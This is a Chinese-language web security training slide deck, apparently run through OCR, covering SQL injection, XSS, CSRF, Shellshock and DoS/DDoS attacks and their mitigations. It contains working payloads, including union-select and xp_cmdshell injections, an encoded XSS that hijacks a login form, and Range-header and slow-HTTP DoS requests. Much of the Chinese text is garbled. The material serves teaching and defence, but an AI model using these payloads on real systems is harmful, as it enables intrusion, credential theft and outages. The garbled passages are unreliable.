Stark Technology Inc.
5 EE BB BRAT




— 1d=1 union select 1,2,3,4,5--
— id=1 union select 1,2,3,database(),5--

— 1d=1 union select 1,2,3,(select top 1 name from
master..sysdatabases where dbid=7),5--

— 1d=1 union select 1,2,3,load_file(‘/etc/passwd’),5—
c I - TFEUBHFIAL
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e TE A& 43 » enSQLiS & Ar b o--
e MS-SQL #* + X2 £ a3 Bx
e Oracle % || K& &7 BF B

* ITH T F b
— '+ @@version +°
—‘ + (select name from master..sysdatabases
where dbid=7) +’
—,email=(select ... )," ...
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/ ! {
y Y g i i
r" 4 ¥ 3 - .
f P e S
! A { ,
i v B )37
Update = = BE
| - .

¢ %j\m\zp/éz‘g\}é‘ﬁi

> ¥

Update
Member
Set
email="[email]’,
address=[+ &4t]’
Where
user='[i¢ * - ]

E ~ SOL#4 & 4 —
Update
Member
Set
email=** + user +”’
address=‘[3 &4t]’
Where
user=‘[# * & L]’
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e S {444
Update # ;= &= iz

=

o Fb| o @ * & Kidk ik dhEmail AT A

I

remail § %H&gﬁi;r] * ‘+ db_name() +
UPDATE user_account

SET email=""'+ db_name() + "

WHERE user= ‘testuser

(AT 2R AP REDEmMal ¥ g D FTRE L -
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. z\gﬂfﬁTRUE 5 ﬁﬁFALSEBﬁ ’ 'ﬁ
& %ﬁ«'/ Bl Erer,a ~ enSQL —EL@:‘?
J Ii?‘-?— B %@’w]
—1d=1 and 1=1
— 1d=1 and 1=2

— 1d=1 and (select top 1 ascii(substring(COLUMN,1,1))
from TABLE)>79

Stark Technology Inc.
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e |[nsert
e Delete
e Update
* Modify

Stark Technology Inc.
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°£&”%4’“AWE45MSSQLﬁ

s FIF I REY P REFEF S A BREL

e (SELECT/INSERT/DELETE/UPDATE)

—1d=1 ; drop table account;--

AriEie SQLE S > @ g m % TR

R o3t
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AR

o if * 3T {SxH T AR L 3% Stored Procedures

)

o fit & fpic B 34 ciT %t—j—\‘?ﬁ?x}ui

— 1d=1; exec master..xp_cmdshell ‘net user Hacker Hacker /add’;--

% W AE 3 2R L A(MS-SQL)

¥ E

Xp_cmdshell it 39 12 SQL Server i SutR 5L & kN 7 F
PR A2 o
XP_regXXXX w BT ¥ & Sveregistry AL o

Xp_servicecontrol

i Erds K B PR o

Xp_terminate_process

BHEBRFTP 2R o BRI R
Process ID -

xp_dirtree

Bir 3 BB &T S P AA RS R

Xp_0axXXXX

FEBPIREAHIROLE 2 o
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« NBSI

« HDSI

« Pangolin

* Absinthe

e DataThief

 SQL Power Injector
e Sqglget

'Sq

® Sq

http://www.infobyte.com.ar/

map

http://sglmap.sourceforge.net/

ldumper
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O S CO m m am d J rllljj ﬁ} “

o AP 7 & J%* 1T X & Sujp M ehre 5¢
—FREF XA R G R
AR Y S S

2B KR TR L F o B¢
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Code Inj ectﬁ A s

e AP %Q%@ﬁ%?fifﬁﬁ;ﬁ])\ S Bk d AL A 4
R @ U B SN
— PHP : eval() ce

. Server . Execute( "updateinfo.asp=x");
— ASP : Execute()
o FTTEI BT S B UL

. ;{%ﬁ ’gﬁﬂ A v—’TJKJ%ZP\ g e 18 & fﬁ, 7 AR
\ ¢ 4'7{

7 X
-#%éﬁ?ﬁﬁxw’i LR Befe e
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- e 5
PATH Injection -

FIEA R EL HTTP

Request, HA & ¥ HTTP

User-Agent fiffiz X Request [1]

N2 User-Agent i
IR A

RIS
HTTP " USER_AGENT=

0 {: }; echo Works FEUHE R T
system(),
§ystem() (=hvii

S i® /bin/sh —
system() & 4K BRI AL AT BT

HTTP _USER_AGENT= Lo
O {:;}; echo Works

e /bin/sh PP IE
i#&E R /bin/bash, Hi
#4T echo Works

Stark Technology Inc.
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CCiz#

HTTP DDoS

teewreyr €Y
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« THC-Hydra

— http://www.thc.org/thc-hydra/

e Brutus AET?2

— http://lwww.hoobie.net/brutus/

 Unsecure
 ObiWaN

e Cain & Abel
* Authforce
 WebCracker
* Lophtcrack

Stark Technology Inc.
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¥ | Brotoz - AETZ - wewew hoobie netboortoz - Tanmare 20007

File Tool: Help

Target [127.0.0.1 TPpE|HTTP[Bagi¢guth] >| | Stat | Step ||:Iear

—Connection Option

Paort |30 Connection: ™ | 10 Timeout T | 10 [T UseProsy  Define

—HTTP [Baziz] Option
Methad I HEAD - | ¥ FKeepdlive

—Authentication Option

¥ Use Username [T Single User Pazs Mode |"ord List j

User File |user3.t:-:t Ernwsel Paszs File  |words bt Ernwsel

Fozitive Authentication Results

T arget Type Ilzermame Pazzword

Located and installed 1 authentication plug-inz

| 0% | Timesut Feiest AathSeq Tt Guick kil
q | 1dle 7




e« HTML

e Java

e JavaScript
o ActiveX

e CSS

e DHTML

« XML

o« AJAX

Stark Technology Inc
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XSS v i

« OWASP Top 10 (20075 ) 7| & % - = K 48 !

o [ FIRE/EY A5 ‘fa"z/)» AT RO
— RRRE 4 b k[P 4250 > & & HTML/ Script p % #r
Rl RS TEE,
e Web 2.0/ AJAX + XSS = .%Péﬁ !

— MySpace.com # 2005 * X & > 4 Samy %5 E
’ lﬁ’} A\ M’}é}»x %‘2 &7:*;&" /):LE- (|n24HRS)
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o 7] : Webfi‘&’i’fﬁ’_‘\ﬁa‘ %’—ilﬂ 1%’3” Emﬁaﬂ

N EEEAGEERARAIET 2T TR

° Ii%i**ﬁ :Ha’r P33 BERE ,a}’i’r—*ﬁm,f E@B@ﬁ
7 5% % & =, {7 e Script
-#iﬁﬁ%ﬁ%

— HoHE 51

- 9% %
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—w%%?%mﬁﬁﬂ
« #P-% » 7 #(stored in the cookie)
c HERT AT BREgEEE N TR
o ITH L ":U’E'/— e = |

— R -—‘!ﬁ’ri\.j\‘% 2 -\

— FBig —’ﬁ R

— XSS ¥F 8 2> Rk e E
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a Blar EHEE A 2T M R () - S45SR - Microsoft Intemet Explorer
wEE REE HEE EESEELG IR SHBAH

[

Q-0 1 2 ()| Ove Yo @ - L@ @ HES

|@ hitp:Mfonims jolt.co vkfmember php*u=1765976" > pom

AL I@ hitpefaewew mnbasnontechoed o tw 80800 mod nlesinew bbiviewtopic. phpMopic_1d=17000&formm=34 Sump=1 Sstart=20 j fr
Goxgle| g « inwrl-formm porm LIEE@ G gEr M- | Bt BB | [dSik 2 S B -
L0 4 M AT T T ) T = o= o o ) i =0 =) ] :I
L=138120 ] porn video tube [fURL] .
adrninistrator
2 h;!“ 56
FHEAARE  Posted on: 2008-11-12 01:34 .
dabisyjy
FYzWHIofimzwI 2 47
<a href="
videibtube::fa:: YakyuBoyS1
[URL=http: {fforums.jolt.co.uk/member.php?u=1765975] 4 a4
porn videos tube[/URL] ﬁ
<a href=http: fforums jolt.co.uk/member.php? FlyChen
L=1765976=porn videos tube</ax
[URL= http:/fforumns, jolt, co.uk fmermber phpPu= 1765976 ] 3 “ 33
porn videos tube [fURL] [
stewvemay
CEE | g E 31
FHAARE  Posted on: 2008-11-12 0042
adarnjove
FHcUOOgkpEXry¥y O 7 jernet3l 31
= a href="http:/ fwevew offspring, com,forums, rmember, php? g og
L=21721"=tube video porn<fa= “
[URL=http: {fwewewe offspring.comforums/member.php? hestsing
L=21721Jtube video porn[fURL] g 54
<a
href=http: ffwwew offspring.comforums,/member.php? Ej
L=21721=tube video porn</az Iolo
[URL= htto:f fweaee, offsoring, comiforurms fmember, oho? 10 g92z2732 24 ﬂ

LT e R
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/2 %R APPFW Demo Server - Windows Internet Explorer

@T\: v [&] mp192.168 153 1307 =] [#2|f x| [so0zte [2]]

wEEO BEE wE0 ENsEW IBD HEm
Go.gle| j-" -
v i (& Z4F8 AFFFW Dermo Server

DM (B ? OB @) -
R - EER - IR 7

r Stark Technology Inc.
J FERREDERAT

BE

01 HTTP PUT
02 80L P
03 XasFEis
03 X838
04 {iuAE=h
05.Cookief®§

06 $E5BE A, il !
07 Sk st EAEb

|<iframe sroc=http://www. playboy. coms

HERRENI
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AT { Technique Discossions § - ﬂﬁ

A [ 1R15 H & 2 i ARIblogwhsm G A /36 IF T B ESSheiM - 1ol
BED ®EE WY BOSFW TAD AW | &
Q=7 -Q- (x| & | O Jramee @) 2-2 w- D SH
#BLED) [ ] httos #orum svilootal somiresd-htm- id-261 14 him] x| B =
Google |G- "B& ik " Bl My B | & 28 Dbl | UHreE - 2 3E - e mea. o » O mEr
S|
« b—EE F—EE o B E || -

HRIEHFE

peters =

SRR Rk

o

T 1

B oo

a5

EIEEEE 40

FELERTE 0/

JERARTEl 2006-5-29

BEEF 2006-11-23

[d EEEE A s
Ly

ERAblogwh & (FE A DS HFE B XS ST
BT 2006-11-18 15:32
]S R E5E S Adblogian (R E ) EET EXSSER

HEZEE

WHER : F'eter
EERE - Tl rif s s =2HR, (waw evilocial com)
BHEEEFEBLOGHS (&)

BY:Peter
wwwowretch.cc
kit

= fﬂfl\rﬁ rar (72 KB)
2006- 18 1532, TF#ixv 29

&) =

ook IEE

Ear-EXSSEA LTEE8E  ALRBAERPEE-

LT T 1B e e

Stark Technology Inc.

RO BRA

[=]




http://test.sti.com.tw/03_submit. asp’?querystrlng—%BC%ZF%63%65
%6E%74%65%72%3E%B0%B2%B5%6E%A4%4A%AD%B6%AD
%B1%3C%62%72%3E%3C%66%6F%72%6D%20%61%63%74%
69%6F%6E%3D%68%74%74%70%3A%2F%2F%77%77%77%2E
%67%6F%6F%67%6C%65%2E%63%6F%6D%2E%74%77%2F%
73%65%61%72%63%68%3E%A8%CF%A5%CE%AA%CC%A8%
AD%A4%C0%C3%D2%B8%B9%A1%47%3C%62%72%3E%3C%
69%6E%70%75%74%20%74%79%70%65%3D%22%74%65%78
%74%22%20%6E%61%6D%65%3D%22%75%73%65%72%6E%6
1%6D%65%22%20%73%69%7A%65%3D%22%35%30%22%3E%
3C%62%72%3E%A8%CF%A5%CE%AA%CC%B1%4B%BD%58%
A1%47%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79
%70%65%3D%22%74%65%78%74%22%20%6E%61%6D%65%3
D%22%71%22%20%73%69%7A%65%3D%22%31%32%22%3E%
3C%69%6E%70%75%74%20%74%79%70%65%3D%22%73%75
%62%6D%69%74%22%3E%3C%2F%66%6F%72%6D%3E%3C%
62%72%3E%3C%62%72%3E%3C%62%72%3E
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¥
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i 4 XSS B 4E

!

« https://login.yahoo.com/config/login?.pd=c%3d%2522%253e%253c
script%3eeval(unescape(%2522%252564%25256F%252563%2525
75%25256D%252565%25256E%252574%25252E%252567%2525
65%252574%252545%25256C%252565%25256D%252565%2525
6E%252574%252573%252542%252579%25254E%252561%2525
6D%252565%252528%252522%25256C%25256F%252567%2525
69%25256E%25255F%252566%25256F%252572%25256D%2525
22%252529%25255B%252530%25255D%25252E%252561%2525
63%252574%252569%25256F%25256E%25253D%252522%2525
68%252574%252574%252570%25253A%25252F%25252F%2525
77%252577%252577%25252E%25257A%252575%252573%2525
6F%25252E%25256F%252572%252567%25252E%252574%2525
77%25252F%252564%252565%25256D%25256F%25252E%2525
70%252568%252570%252522%2522))%253c/script%253e%253cs
cript
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¢ XSS}%' = my - %;é_}f%?
Ké‘f ”l/ﬁﬂ

Fake input controls positioned
under the hijacked web controls

User provides username and password.
All these clicks are hijacked by the invisible frame.

Stark Technology Inc.
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Cross Site Req u g %{ ;

e Cross-Site Request Forgery (CSRF)(XSRF)
. I:c§ e E MG ¥ —‘li-f h F A ak R
R ﬁ—IE ,g, F IS e Rk TS T A o
¢ I;C%:'/‘nlﬁi
— 35 I *'é"ﬁ B chge (X 4 H)
LR N EE easald
—mﬁ?aﬁ‘?4ﬂﬁ§§@ﬁ§%$%§i%ﬁ%
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CSRF (Cross Site {_e

!

CSRF POC3

CSRFPOC-1
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>

<form action="http:example.com/test" method="POST"
enctype="text/plain">

<input type="hidden" name="{"added":
[{"id":"1","title":"testing"}],"changed":[],"removed":
[y />

<input type="submit" value="Submit request" />
</form>

</body>

</html>

<script language="javascript” type="text/javascript">

function jsonreq()

{

var xmlhttp = new XMLHttpRequest(); // new HttpRequest instance
xmihttp.open("POST", "http://example.com/test", true);
xmihttp.setRequestHeader("Content-Type",
"application/json;charset=UTF-8");
xmlhttp.send(JSON.stringify({"added":[{"id":"1","title":"testing3"}));
}

jsonreq();

</script>

Stark Technology Inc.
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« Damn Vulnerable Web Application
— http://www.dvwa.co.uk/

e Badstore
— http://www.badstore.net/
 Mutillidae

— http://lwww.irongeek.com/i.php?page=security/mutillidae-deliberately-
vulnerable-php-owasp-top-10

 Metasploitable
— http://www.offensive-security.com/metasploit-unleashed/Metasploitable
« PwnOS
— http://code.google.com/p/pwnos/
« Virtual Hacking Lab
— http://sourceforge.net/projects/virtualhacking/files/os/
 Dojo
— http://www.mavensecurity.com/web_security dojo/
 Web Application Exploits and Defenses
— http://google-gruyere.appspot.com/
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 WebGoat Project

— https://www.owasp.org/index.php/Category:OWA
SP_WebGoat_Project

* Vicnum Project

— https://www.owasp.org/index.php/Category:OWA
SP_Vicnum_Project

 Hackademic Challenges Project

— https://www.owasp.org/index.php/OWASP_Hacka
demic_Challenges_Project

* Insecure Web App Project
— https://www.owasp.org/index.php/Category:OWA

SP_Insecure Web App Project
Stark Technology Inc.
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e Hacme Casino

— http://www.mcafee.com/tw/downloads/free-tools/hacme-
casino.aspx

« Hacme Bank
— http://www.mcafee.com/us/downloads/free-tools/hacme-bank.aspx/
« Hacme Bank - Android

— http://lwww.mcafee.com/us/downloads/free-tools/hacme-bank-
android.aspx

« Hacme Books

— http://lwww.mcafee.com/us/downloads/free-tools/hacmebooks.aspx
e Hacme Shipping

— http://www.mcafee.com/us/downloads/free-tools/hacmeshipping.aspx
« Hacme Travel

— http://www.mcafee.com/us/downloads/free-tools/hacmetravel.aspx

Stark Technology Inc.
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Live S |/te!
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« SPIDYNAMICS - free Bank online
— http://zero.webappsecurity.com/

e Cenzic - Crack Me Bank
— http://crackme.cenzic.com/

e Watchfire - AltoroMutual
— http://demo.testfire.net/

o Acunetix
— acuforum
e http://testasp.vulnweb.com/

— acublog
* http://testaspnet.vulnweb.com/

— acuart
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0://wargame.chroot.org/
0://trythisOne.com/
0://lwww.dareyourmind.net/
0:.//lwww.smashthestack.org/

0://www.pulltheplug.org/wargames/

0://lwww.hackquest.de/




Ntt
Ntt
Ntt
Ntt
Ntt
Ntt
Ntt
Ntt

g f "/ | e N e
argames (2) \ \\ ¢

p://lwww.hackergames.net/
0://www.hack4u.org/
0://www.hackthissite.org/
p://www.darksigns.com/
0://lwww.crackmes.de/
0://www.rootthisbox.org/
p://'www.hackr.org/
p://lwww.mod-x.com/
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] RES € .8
. f / )’ YT xR
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0://www.hackits.de/
0://quiz.ngsec.com/game3/
0://lwww.hack.ae/
0://www.hackerplayground.com/

0://roothack.org/
0://www.try2hack.nl/

n://dualpage.muz.ro/webgame




DOS/DDOS ||

e DOS — Denial Of Service

—%ééﬁﬁﬁ?i%’@%QWﬁﬁéﬁﬁﬁﬁ
« DDOS - Distributed DOS

—d S E R I > R FMIRAEE D K (E
o H £

— ¥ % & T

— FEFL S

— FUS R B

— 3l AR

— 5ﬁ ¥
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* BULP RF MK A
o B P R PRAF R
— + 333 & (Disrupt connection)
— #f )" 4~ (Bandwidth Depletion)
o 3THR P L A PRIFAR SN
— 33 gLy ¥ (Exploitation)
— TR 42 (Resource Depletion)
o [EEFIE AR K

{
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o Frle P RPRIFER
— + # R (Disrupt connection)
— #f )" 4~ (Bandwidth Depletion)
o FTHE P R A PRIAAR LN

— 33 gLy ¥ (Exploitation)
— TR 42 (Resource Depletion)
e rEzx BRI ¥ K

{
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* NetCut
e (Wireless) De-authentication
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o MEEITHE L ERIME 0 - Mk * Stateless(F & h &
— SYN Flood
— ACK/RST Flood
— UDP/ICMP Flood
— Fragment Packet Attack
— Any packet flooding (ip/tcp/udp/icmpl/...)

)

¢ RRK ‘fﬁi‘? E&&ﬁxdﬁ‘ﬁ‘)\%‘ﬁi\“—‘r?ﬁ?ﬁ‘)\@z

P % B BRI

— Syn/ack/rst/connection ... & %

% ax % (Amplification)sc# & 2z < T 37
— Fraggle, Smurf, DrDoS, DNS/NTP Amplificationattack
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* HESE I SYN Te ’ x%“ BRE AP

SYN RCVD » & & ;}:;r,\ ;TQ el
¢ N & [#&i#F]>[Timeout:# 5] ¥ &
PRAR— Bt Bk
— SYN Proxy / Server
e 4v = Table
* %7€ timeout
— SYN Cookie

Y

— RFC 4987
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[EH T
SYN Flood DD/QS - Attack |

Client Server Client Server

pS *_=§ﬁ§§%ﬁﬁ”'
; 5%

SIS~
‘/S\N% Session Table !
YN
ACK AC

T FETCP@ ® SYN Flooding
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e SYN #t~#
—IP + TCP Header length = 46 bytes
— Ethernet Frame size = 64 bytes
— B VR F (TP 4 ) overheadl =+ & = 84 bytes
o 1Mbps “#g 5 5 ' 1560 pps SYN
— 100Mbps = > 156 OOO pps SYN
¢ © K S Fufk I Rz ol
— 500Mbps = > 780,190 pps SYN
« ¥ 5 BPEUG A E KK

o — T F % & H New Session/s + IR i> % &
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R
— 100 Mbps
 ~ 156,000 pps
— 1000 Mbps
 ~ 1,560,000 pps
— 10Gbps !1?

o 1212121212
T H AT 2
POFEE &

— CPU

— NIC
PR o

— Linux

— UNIX-based
— Windows
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/iy a0 : 3 -
IR RERERTSE .
Y [ ¥ p -, e ) Tl e e
\\‘.:I.. -t | =S A s e,

o BT &
— On Linux 2.6 kernel
— Intel chip NIC
— — & Thinkpad X220

e %% 11,000,000 pps
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o))
C 9 *Ill | | .
R I: Z| -
e 1
? ‘ AT SN
TRE S A ._.,\.'_ l? =

« TCP SYN Flooding Attacks and Common
Mitigations
— Filtering
— Increasing Backlog
— Reducing SYN-RECEIVED Timer
— Recycling the Oldest Half-Open TCB
— SYN Cache
— SYN Cookies
— Hybrid Approaches
— Firewalls and Proxies
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Attack Téd

 http://www.packetstormsecurity.org/

 Before WInXP spl

— hping
— HGod

. After WInXP spl
— Using WinPcap

e Linux
— tfn/tin2k
— juno.c
— synk4.c
— netflood.cpp
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o Firewall ~ Proxy ~ L4 ~ &s = i® 2 4% > #-3F
#& A £ 2_Session Table » & & 3 A%
A w e RST (¢ Drop £t ¢ )

e ) ﬁé_*;a: —

— RPERKE AW TR
— & Outbound#f %4 §

— Stateful &k # (Gl4cfr X4 ) € 2 #&Dropit#
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UDP/ICMP Flood, \\ &

o Big KA E < & UDP/ICMP3t#

o B AN % W e hoverheadik
TCP: i et e H @ R4~ P 5 3 %
%l

o STH P - @ PR RS

o ]!g_;}%—% ;E —

— 2 Firewall & ACLF & i g 31 &
— M IPSFRB AL ¥ $A T L 3t e
- K €LQOSL#|PPS
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D P FI ‘ | : | | |
l | [ = --_ -
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| o 3 i e
I o . B e
7 . en T

S (S0 St

e Windows
— P47 BRI EE

e Linux
— pktgen (kernel module)
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Fragment Packet Flood' 8

[
d
i
{Ir
®
o
0
@
IR
i
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 Fraggle

o Smurf

e DrDoS

« DNS/NTP Amplification Attack

Stark Technology Inc.
5 EE BB BRAT




Fragglf [

1
3 Ry . :

==

o Bk KR o i udp ,ﬂLs * Broadcast
Address

— port 7 (echo)
— port 19 (chargen)

SR M ERE v RUDPH ¢ 3 40
Fpko @ € RRARR

e I R —
— B @ Firewall v ¥ $F#

— Internet + % #Router’s = # # 2 P & % Broadcast
Addressz_#t# (no Iip directed-broadcast)

— B 3% UDP FR7*
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S ;u rf 1 : _:' - :_1;

Bad Rk 0 % icmp echo-requestit ¢ 1
Broadcast Address

AR AT 8 B¢ v iicmp echo-reply 4t
S ’XI:&@} B @i R R

%
— p @ Firewall ¢ ¥ #F#

— Internet + % #Router’® = 7 &% P & 5 Broadcast
Addressz_3+# (no ip directed-broadcast)

— B wWindows ® :z i # v & ICMP Broadcast 3t #

— Linux i & ¥8cis ¥ 2 v R
(net.ipv4.icmp_echo_ignore broadcasts)

yE R

-
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{ ] ¥ .
f F ] \ - — - i 3
F i { A e = 1
.I’ :h. \ .
: . ; y ‘l’ - )
J, g . ix B s \I"_!r.- ™, Sy
f J AT B
¥ : SR B Wl ST

AttaCkeE
ICMP_ECHO_REQ
Source: Target
Destination: 10.1.1.255

o ICMP ECHO REPLY
FRTE e 1
LK H @ Source: 10.1.1.* = #

Destination: Target

Target
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Malicious ’ : S Attack
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DrDQOS i

Root Servers
cn ' ' P
L]
,:_”.-?’psif AT ns.alibaba.com.cn
-
5@3;%0\ o 5_4’59'?“?"-@. (Compromised DNS Server
Step 4 2B 0 with TXT record)
Step 3 A - Q0 X
question'wnere can 1 | e e e -5 Te ¢
find the IP Address of | P wer e i s
big.alibaba.com.cn? | ' - - o f
i ! . e P
= v e o _
' Open DNS Servers nig- Primary DNS Server of
= big.alibaba.com.cn

Mot authoritative for
big.alibaba.com.cn

ns.bjtu.edu.cn User's Primary DNS Servers
(Recursion Allowed)

Victim's Server

Step 2
Question: what is the IP St
Address of r: Herg jg ;’ 9
big alibaba.com cn? ng alib P»%‘qre
Flease reply to Each rep aba, cn, 58 of
www7_mir.gov.cn facm,. fa'“p ifiag Up to wwwT mir gov.cn
(Ii%%%)
pcb.bjtu.edy.
(LEFZEZTBEAS) 7T = < Step 1
Botalibaba.com (Compromised .
Sends signal to
activate Bots Aftacker
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4 i .
¥ ! - : - G
i e, =
¥ I E A 4 ¥
| -, e !
i i L Pt
3 ! i s k e,
' RE R SN\ AT
E Rl B T B T o, S . \
i B BT, B T, e, oy, el TR R
o N W e T e e S T T Ry R,
= o B s T = e TR J S -
i - M, RN s e g n . .

e &% DNS UDP 2 w B4 512 bytes

e DNSSEC Z & p > B> &% > F T &
* EDNSO > #-UDP 3t F 23 E 7|
4,096 bytes -

o i@ % it * TXT Records » » 1% query
ANY T #
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¥
¥

DrDOS ¢ °

O0g:44:26.741649 1P x.¥X.X.x.123 > x.x.%x.x.80: NTPv2, Reserved, length 440
06:44:26.741678 IP x.x.x.x.123 > X.x.xX.X.80: NTPv2, Beserved, length 440
O0g:44:26.741738 IP x.X.X.x%x.123 > x.x.x.x.80: NTPv2, Reserved, length 440
06:44:26.741751 IP x.x.x.x.123 > X.x.xX.X.80: NTPv2, Beserved, length 440
O0g:44:26.741763 IP x.xX.X.x.123 > x.x.x.x.80: NTPv2, Reserved, length 440

Figure 19: Traffic snippet of an NTP attack that targeted a security company

SJC LON HKG DCA
Peak bits per second (bps) 35.00 Gbps 80.00 Gbps 26.00 Gbps 55.00 Gbps
Peak packets per second 9.00 Mpps 19.00 Mpps 7.00 Mpps 15.00 Mpps
(PPS)

Figure 20: Attack metrics from each of four scrubbing center location for the attack against a security company

Stark Technology Inc.
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DrDOS UDP -

Protocol Bandwidth Amplification Factor Vulnerable Command
ONS 28 to 54 see: TA13-088A [4]
MTP h86.9 see: TA14-013A [5]
SHMPv2 6.3 GetBulk request
MetBIOS 38 Mame resolution
S5DP 308 SEARCH reguest
CharGEN 358.8 Character generation request
QOTD 140.3 Quote reguest
BitTorrent 38 File search
Kad 16.3 Peer list exchange
Cuake Metwork Protocol 63.9 Server info exchange
Steam Protocol 55 Server info exchange

https://www.us-cert.gov/ncas/alerts/TA14-017A
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¥ I
r.r J ! 4 & - .
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i T Ty T o W .
| - i - b - Ve T, o T
£ . B s =, R o e s, T Wy
i o B Wb, i T T aay, T, R
I 5 Sy R N e, e R S

s JI* WEZ EHREANTCP 30 » i P R
Z 23+ ¢ gipbugm Crash

r_]
» Firewall & 7 4 & ~ Trig ;23] Server=
= B, %
,ﬁ’/

—Wlndows 3.1-~95-NT
— Linux kernel < 2.0.32 ~ 2.1.63
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) | I-. . B 1
\ ; i N hiaT _ #
7 , .__. A R -
f 3 i e s, () S, T .’-"«' ,' T
' N I . T Wy 1 T
v & ] :-_ : s

o 7% 11 Source/Destination IP L P ’fﬂt&m
TCP SYN e oo @B %%—%,ﬁi’h ‘%‘2’?5 Ao
ﬁ% é%;iszrash

Flrewall T T AFE ~ g 2P| Serverr

2/, 1R

\\\

B
% 2

¥ .fs =

— AIX 3

— FreeBSD 2.2.5
— |IRIX 5.3

— NetBSD 1.3

— Sun0S 4.1.4

p

b;ark l"echno.'og}r Inci
EE R DBRAT




”f % & f AZ1F 65535 bytes 2 ping it &

i &routerpF > o ANAZEMTU > 3¢ 4857
%‘J iR

¥ 1997-1998 # & » #17 mOS’.g, 0 12
p v Firewall 5 ¥ & ~ rig & 3| Server=
* XA
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GET/ HTTP/1.0

Host: default
Accept-Encoding: gzip
Range: bytes=0-,5-0

¢ FRFIRE W f@ 206 Partial Content > B
AT T At 33 EL

o & Patch 2. #IRE K™ & 200 OK

o D % XL33 L 2 TR &
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;’; / ; ! - - s o ’
[ } R
N * T el 2 B T et e e
I . R WS At g o, e TN e Vs W
"-I '!’ :'. = :1 — i _ e l?~ _::'-;_;_ e W e, L e, g K< 2_‘:‘::3__

o ITH 3k
— http://www.hackersgarage.com/apache-killer-
denial-of-service-flaw-in-apache-
webserver.html
o I E 3t ¢
— http://marc.info/?|=apache-httpd-
dev&m=131418828705324&wW=2
e F @ Apache 7 * ¢ i it pt338L> Z { #72
2.2.21
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. %Mmrosoft IS 7. 5 64 bltsmpngﬁ-,% % ! #r T_

Rangeﬁ%.ag (60 g kB E
° %@IMJ

— Range: bytes=24688-18446744073709551615
— ‘=% § B4~ 4294967296 1] 18446744073709551615
FFendies 3h g 5 18 0 7 T2N32~2764-1
— J8B| 5 64 blts & Sftpngsrhandlerat * 5 32bitsix A &0
A2 3
— L A O3 Ek
o 2014/12 — Feac/Citrixz IR
o 2015/05 — pedrad * & > { A7
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— TCP Connect Flood
— Zombie Connection

— SSL Flood
—HTTP Flood
— Application Flood
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%ﬁiﬁ§%%’ﬁB%Wﬁ7%ﬁ%
22 TCP@ & ~ 7 41l & ~ 2 2 @ &~
'ééfr@fﬁ:mévw

EJ® s @ (# g ,TF%’—”J Fls > PJZzZmigl

— Firewall/IPS — 24| fi%2. Connection Per Second
— 47 timeout P R

— T EINDAE ICPS2. KR FEFE

— NPTy FkF 2 Proxy/L4 X 3 Ry A g M
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Zombie Con m 9/9} ns. &

e U X F 2 ITHF KRR &P HEE TCP @4&
B R PEEE A REFRR 8

o ML H /A% 7] Session Table & /&
mERE LR & E IR
— Firewall/IPS — 24| — IP 2. ¥ i 32 #c
— ¥7E idle timeout pF ¥
— T EINNE R SRR FE FIEE
— 1 BTAL ﬁ‘iﬁ*i Proxy/L4 X & “ F i > 3m
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"[ r5 > -‘“i e PF»ZZ‘
o ¥ RLTHES

— SSL Flood

—HTTP Flood

— DNS Flood
— LOGIN/DB_QUERY Flood
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— eX: Slowloris

« POST with unreached body
—ex: OWASP HTTP Post Tool

« HTTP Flood
e CCrxc#

— Proxy

— iframe




T ¥

 GET /HTTP/1.1[\r\n]

- Accept: */*[\r\n]

. Accept-Language: zh-tw[\r\n] -
. User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1) [\r\n]

. Accept-Encoding: gzip, deflate[\r\n] :
. Host: www.google.com.tw[\r\n]

: Connection: Keep-Alive[\r\n]

—b [\r\n]

A CRIEG o SRR
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e — B ¥ ESHTTP Get Request’is & & i § = 2 4E (7

""‘%{CRLF[\r\n] * JT B @ # % @ CRLFZ % » P/RE &
Lt Requesty A d o & FS s R

o WIREIDG K TE @ *“ﬁ#’ﬁ CABE T BHARG A
ma e wrer Hig M(IDLE Timeout) - i% g 7 %7:% DT HTTP
Get RequestsHeader » & 7 % 41:32 5 7 2 CRLF » ¥
i R PR g A o

e ITHEY FFHES BThread » A % Thread:d 44 FF 2.
a0 B % FreoHeaderp ok % #*‘@fﬁ ik AR PR B e H
WA o BB R AR HC Yk AU (] d-Apache siMax
Clients% ) » PIREB - B St & ol A = = ang 4 o
i EJTITRE R > T F 5 2 DOS -
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GET/HTTP/1.1

Host: www.google.com
Connection: keep-alive
User-Agent: Mozilla/5.0
X-a: baaaaaaa

X-a:
X-a:
X-a:
X-a:
X-a:

o O O O O
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POST /accounts/ServiceLoginAuth HTTP/1.1[\r\n] |
Host: www.google.com[\r\n]
Content-Length: 38[\r\n]

Connection: Keep-Alive[\r\n]
Email=http.dos@gmail.com&Passwd=123456[\r\n] :

* % *Tpost body ¥ |z ¥ Content-Length4,
T_eE K&
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Slow HTTP POST .

= - o
j“- o <L -_}_;. o

e — B ¥ %EAHTTP POST Requestv’ €41
Content- Length;_ 2 2 POSTeniz ~ 3
* Web Server ,,_Cllent#\ BERATT AR R
EFFEF B
— (1)Y= 3]POST data+ & ¥ Content-lengthz 2 =+ & » &
- (@
22 HTTPa & (s » 0 IIPOSTF ~ b % @ &
AT R RIRE OV * R
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'
| § .
r.r y : 4 o, 2 s
: - B o T
f : ‘ : \ ‘AN AR .
| . | Y i . ¥ E S A
f : e 4 ) et 2, g, el e,
I - 4 H=YE ) - "::,-1 | “-'_": '!-'.:'. e iy N
I . o faecuy TR e PR o A - -

POST /post.aspx HTTP/1.1

Accept: text/html, */*

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64,; x64)

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0
Safari/537.36

Accept-Encoding: gzip, deflate
Host: 192.168.37.14
Connection: Close

i(# A)A(F )= (& Aa (F7) ... ..
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Default Max C

« IS

Optional uint attribute.

. Specifies the maximum number of connections for a site. Use this setting to limit the number of
maxConnections

simultaneous client connections.

I The default value is 4294957295, I

e Apache

MaxClients Directive

Description: Maximum number of connections that will be processed simultaneously
sSyntax: MaxClients number

Default: See usage for details

Context: server config

Status: MPM

Module: beos, leader, prefork, threadpool, worker

The MaxClients directive sets the limit on the number of simultaneous requests that will be served. Any connection attempts over the MaxClients limit will normally

be gueued, up to a number based on the Listen2acklog directive. Once a child process is freed at the end of a different request, the connection will then be
serviced.

aeRas-taeaaricd servers

value is 258,

